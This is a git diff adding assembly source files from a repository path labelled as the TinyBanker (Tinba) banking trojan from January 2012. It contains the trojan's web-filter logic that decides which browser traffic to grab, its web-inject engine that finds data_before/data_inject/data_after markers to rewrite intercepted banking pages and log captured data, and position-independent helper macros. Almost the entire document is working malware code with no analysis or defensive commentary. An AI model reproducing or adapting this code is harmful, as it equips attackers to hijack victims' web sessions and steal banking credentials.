a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IsGrabTerm.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IsGrabTerm.inc new file mode 100644 index 0000000..bdf2807 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IsGrabTerm.inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + dec esi ;; reset grab flag modificator + inc eax ;; next char + dec ecx ;; new len + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/WebInject.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/WebInject.inc new file mode 100644 index 0000000..222767e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/WebInject.inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\ndata_before\n", 13 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 13 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\ndata_inject\n", 13 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 13 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\ndata_after\n", 12 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 12 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/macro.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/macro.inc new file mode 100644 index 0000000..9280c7b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/macro.inc @@ -0,0 +1,253 @@ + + +;; ==================================================================================================== ;; +GetBaseDelta macro reg + local @delta + + call @delta +@delta: + pop reg + sub reg, @delta +endm + + +m2m macro arg1, arg2 + push arg2 + pop arg1 +endm + + +jmpz macro reg, lbl + test reg, reg + jz lbl +endm + +jmpnz macro reg, lbl + test reg, reg + jnz lbl +endm + +jmps macro reg, lbl + test reg, reg + js lbl +endm + +jmpns macro reg, lbl + test reg, reg + jns lbl +endm + +jmple macro reg, lbl + test reg, reg + jle lbl +endm + + + + + +;; ==================================================================================================== ;; +DEBUG macro arg1, arg2, arg3 + ifdef DEBUGMODE + pushad + GetBaseDelta ebx + mov esi, arg2 + invokx _RtlGetLastWin32Error[ebx] + mov edi, eax + invokx &Debug[ebx], arg1, esi, arg3 + invokx _RtlSetLastWin32Error[ebx], edi + popad + endif +endm + + +;; ==================================================================================================== ;; +NOPS macro +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +endm + + + +;; ==================================================================================================== ;; +;; : +;; vxinvoke [ebx],var1[ebx],1,&var1[ebx],17 +;; - +;; [ebx] - ( , ) +;; var1[ebx] - var1 +;; &var1[ebx] - var1 +;; +;; +;; +;; +;; +;; : +;; vxinvoke [ebx],'some text',"other text",1,&var1[ebx],17 +;; +;; : +;; call label1 +;; db 'some text' +;; db 0 +;; label1: +;; +;; . &var1[ebx] : +;; push eax +;; lea eax,var1[ebx] +;; xchg [esp],eax +;; +;; +;; +;; +;; +;; vxinvoke &xxx[ebx] - vizov polzovatelskoi proceduri +;; +;; +;; ==================================================================================================== ;; +vxpush macro arg1, useeax + local label1, label2 + + fSym substr ,1,1 + + ifidn fSym,<&> + var1 substr ,2 + if useeax eq 0 + lea eax, var1 + push eax + else + push eax + lea eax, var1 + xchg eax, [esp] + endif + + elseifidn fSym,<'> + call label1 + db arg1 + db 0 + label1: + + elseifidn fSym,<"> + call label2 + flag1 = 0 + forc char, + ifdif , <"> + if flag1 eq 1 + flag1 = 0 + ifidn , + db 13 + elseifidn , + db 10 + else + db "\" + ifidn ,<\> + flag1 = 1 + else + db "&char" + endif + endif + elseifidn ,<\> ;; trap the escape character and set the flag + flag1 = 1 + else + db "&char" + endif + endif + endm + if flag1 eq 1 + db "\" + endif + db 0 + label2: + + else + push arg1 + endif +endm + + +invokx macro fName, arglist : vararg + + useeax = 0 + count = 0 + for arg, + count=count+1 + ifidn , + useeax=useeax+1 + endif + endm + + Len sizestr + baseIn substr ,Len-3,3 + ifidn baseIn, + useeax=useeax+1 + endif + + + while count + index = 0 + for arg, + index=index+1 + if count eq index + vxpush arg, useeax + ifidn , + useeax=useeax-1 + endif + endif + endm + count=count-1 + endm + + + firstSymb substr ,1,1 +;; User proc call + ifidn firstSymb, <&> + funcName substr ,2,Len-1 + lea eax, funcName + call eax +;; Call proc addr in var + else + call fName + endif + +endm +